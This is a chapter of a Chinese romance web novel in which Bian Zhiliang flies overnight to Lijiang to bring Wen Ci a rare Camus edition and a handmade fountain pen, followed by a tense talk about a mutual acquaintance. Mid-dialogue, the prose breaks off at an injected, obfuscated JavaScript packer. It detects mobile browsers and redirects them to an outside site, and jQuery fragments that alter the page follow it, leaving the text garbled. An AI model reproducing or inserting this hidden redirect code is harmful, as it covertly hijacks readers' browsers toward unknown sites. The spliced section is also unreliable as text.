一连响了数声，闻辞的窗户毫无反应，天还是雾蒙蒙的深蓝，小巷里又空又长。


    在最后一枚石子掷出去时，一楼的窗户突然打开了。


    汴之梁和堂惜年，在清晨的蔼蔼中，四目相对，熟悉的情形，熟悉的时间段，堂惜年依旧顶着她的黑眼圈和满身起床气，但这次，她没有同汴之梁搭话。


    “早……”


    汴之梁的话涌到一半，便看见堂惜年转身在被窝里翻找什么去了，没多久，她耳边贴着电话，重新出现在创百年，双眼幽怨地看着汴之梁，对电话那头道：“闻老师，汴之梁又来找你了——！”


    说完，她关窗上锁，翻进被窝，一气呵成。


    二楼的窗户，在这时又幽幽传来响动，一双细长的胳膊夹起木杆，撑在窗框边，然后，闻辞顶着一头乱糟糟的头发，出现了。


    见着来人，闻辞明显地怔住。


    “闻老师。”汴之梁站在巷中央，不紧不慢地地叫他。


    不清楚发生了什么，但闻辞突然转过身去，木偶似的呆了几秒，又转过来，看清了他的脸，迟疑道：“汴之梁……？”


    汴之梁扬扬手里的东西，声音跟着笑意暧昧地飞起来：“下来，有东西给你。”


    长巷里，晨雾下。


    闻辞披着一件宽松的灰色外套出现，帽衫盖在头上，那张脸在对比之下显得更小，似乎只有巴掌大，大抵因为没睡醒，连眼皮也耷拉着。


    闻辞没有率先开口，而是沉默地等着对方。


    他原本是想问些什么的，但在见到汴之梁的那一刻，又觉得没什么必要了。


    “给。”汴之梁递给他一个原木色的纸袋子，空荡荡的，但却有些分量沉在下面，闻辞犹豫着要不要接过，但手已经将要抬起，汴之梁笑了，直接拿出里面的东西，“在福州路遇见一家古书店，看见这本法语初版的《加缪手记》，觉得你可能会喜欢。”


    那是一本灰色封皮的书，包装四角和书脊都透着岁月侵蚀的痕迹，它或许走过了比闻辞还漫长的岁月，如今才得以以这种姿态出现在闻辞眼前。


    闻辞恍惚地接过，看着封面那串醒目的《Cas》，思绪迟钝地停留在原地。


    “你怎么会……想到买这个？”许久，闻辞问出一句。


    汴之梁的食指，错乱的摸了摸太阳穴：“就有次，偶然看到你朋友圈发的那句话。”


    “什么话？”


    汴之梁蜷起掌心，放在鼻子边，吸了吸，眼神游荡着，半天，才缓缓而说：“窗外是佛罗伦萨，桌上是死。”


    那是一条发布于昨年的文字。若非有心，大概很难翻到，连闻辞自己都快忘记，他似乎费劲回忆了好一番，脸上才浮现点了然的神情。


    不过，这样被人当众念出，实在很怪。


    闻辞抿紧嘴唇，偏过头盯着旁边灰色的砖瓦，磕磕绊绊地咳了几声：“你还，看到了这个呢……”


    纱一般的空气，给画面自动覆上一层慢速播放器，闻辞睫尾的颤动，鼻尖蹙动的幅度，一点一滴，在对峙的视线里，分外清晰。


    好像连他的呼吸，都是冰凉的。


    “无聊翻翻。”汴之梁收回目光，“也是偶然想起。”


    晨气粘在人身上很冷，闻辞动了动脚尖，问他：“你回上海了？”


    他没抬头，但身体感觉到对面朝他点了点头。


    “工作室业务变动，融资也有新情况，签了几个艺人，年底大概会忙一阵。”汴之梁的语气突然停顿，“所以……我大概还要在那边待上半个月。”


    闻辞并不敢确定自己的思路完全清明，对于一个宿醉的人来说，在早上七点叫醒他们，这的确不太明智，但闻辞很想、依旧，把汴之梁这番话，顾自认作为在向自己解释。


    为什么要解释呢，他们明明不存在任何需要解释的关系。


    闻辞举起手里的书籍：“谢谢，你有心了。”他把书放回袋子里，却没有要走的意思，在原地足足站了五秒，才艰涩地出声：“你以后，要常驻上海了吗？”


    汴之梁并没有意识到话里的不对，顺口道：“大概会经常出差吧，这得看工作安排。”


    意料之中的回答，闻辞生硬地点点头，用低到不能再低的声音，回了句“知道了”。


    小巷里，谁家的木门吱呀一声，从后边走出位阿婶，手里揣着红色塑料袋，朝他们走来，闻辞默默往旁边撤了一步，他扣着帽子，把脸盖在深重的阴影之下。


    汴之梁警觉地蹙蹙眉。


    “有事和我说？”


    闻辞摇头。


    “不开心？”


    闻辞还是摇头。


    多数时候，闻辞并不比旁人更加了解自己，比如现在，连他自己也不清楚究竟想要问什么，又在执拗什么，心底隐隐和自己较劲，想走又不愿走，只好僵在原地。


    矛盾构解成他的一生。


    “闻老师，我可是坐红眼航班给你把书带回来的，下午就得走，你确定不说？”


    闻辞从手里的书看向他，确认了一番，才问道：“你回来，是为了给我送这本书？”


    这是个幼稚又荒唐的问题，连问问题的人都感到不可置信，可当闻辞意识到眼前人是汴之梁时，又觉得合情合理。


    为了送一本书，横跨约莫2600公里的路程，连夜从上海飞回丽江，只是想要第一时间，送到自己手里。


    完全符合他的作风。


    在工作室的伙伴们沉睡在梦境中时，不会有人知晓他们的老板已经在此期间，飞过一次丽江，送过一本书，见过一个人。


    “是，因为买到手，所以第一时间想要见你……”


    “收到的样子。”


    停顿得很巧合，让闻辞快要怀疑是他的故意。


    “好吧。”有时候，闻辞真觉得汴之梁是个浪漫疯子。


    “我昨天听他们说，你可能要去上海工作了，怪不得这几天都是姜水在小馆。”闻辞语速又低又快，节奏模糊，生怕人听清似的。


    可汴之梁有一双天赋异禀的耳朵，他眉毛一压：“他们是谁？”


    闻辞道：“……李明也。”


    他不清楚这算不算出卖，但凭李明也与汴之梁的关系，必定是有内部可靠消息，才敢这般信誓旦旦吧。


    “你怎么和李明也那小子玩一块儿去了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998531|193909||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？”突然，话锋一转。


    汴之梁的语气称不上生气，也谈不上和气，面上明明有一点笑意，却逼得人并不敢直视，闻辞明白自己说错了话，当即想要收回，“我们就随便……”


    汴之梁抬手，打断了他说话，身体稍稍向他放低，面上笑着，声音却毫无情绪：“没关系，你以后少和他待一起，他的问题，我会解决。”


    闻辞从没有见过他这副模样，登时不太敢说话，是他失言在先，原本这也与他没什么关系，最后只为无辜牵连进来的李明也说了句话：“是我自己猜的，李明也只是说了你出差的事。”


    汴之梁不置可否，手插在兜里，笑容缓慢地从嘴角弥散，停在微挑的眼尾处，戛然而止：“嗯。”


    闻辞被盯得毛骨悚然，提着手里的纸袋：“行，那我走了……”


    他一步做三步地跨回小院，不敢回头停留，如有预料般，在他刚到卧室坐上床时，手机在衣袋里响起。


    闻辞拿出来，划开，看到了汴之梁头像后，许久没亮起的红点。


    【对了，袋子里还有一支钢笔。墨水弄到手指上很难洗，这支是找人手工定做的，不会再沾到墨水。】


    闻辞果然从纸袋的最底部，翻找出一个盒子，在木盒的正中央，用红丝绒带捆绑着一只通体漆黑，金丝点缀的钢笔，雅而静。


    他拿起来，在阳光下轻轻转动笔身，笔帽处，镌刻着一串陌生的英文，经过辨认，闻辞猜测，这大抵就是制作这支钢笔的手艺人姓名。


    他又拿起手机，将汴之梁发送的这段消息看了又看，终于，瞧出一点端倪。


    他是如何知道自己的钢笔漏墨的？


    闻辞拿着钢笔的手一顿——是那天，南小报名日，一整天的忙碌，令他的指节都洇上了墨痕，以至于意外撞见汴之梁时，连手都没来记得擦干净。


    闻辞抬起写字的手，用拇指反复摸索着握笔的位置，那个曾经沾过墨水的地方，这样隐秘之处，像是藏匿在叶片上的一滴露水，受到关注时，竟然是这样的心情……


    闻辞摸着，感到奇怪。


    如汴之梁所说，他果然当天下午就飞回了上海，南城里少了一个人，好像生活也没什么太大的改变，太阳照常升起，月亮照常高悬，闻辞照常上课。


    唯一不同是，闻辞再去小馆时，不会再有人突然出现在他身后，沉缓慢地唤一句“闻老师”。


    他还碰见过几次李明也，对方似乎客气了很多，没说几句话就匆匆要走，闻辞想要问的话都没来得及预热，音乐人都这样忙吗？


    国庆小长假后，闻辞开始着手准备期中考，这次期中考局里很看重，家里堂惜年天天被家长的电话折磨，还得应对父母的压力，于是见着谁都烦，连树上的蔷薇都得被它薅两朵。


    于是，这段时间，闻辞待的最多的地方，是汴之梁的小馆。


    在某个阳光明媚的午后，你会看见一位带着眼镜，斯斯文文的男士，坐在靠窗角落里的位置，埋头写就。


    有时候，他会待到太阳落山，有时候，不过一两个时辰。


    那天，姜水好奇了。


    “闻老师，你怎么换钢笔了？”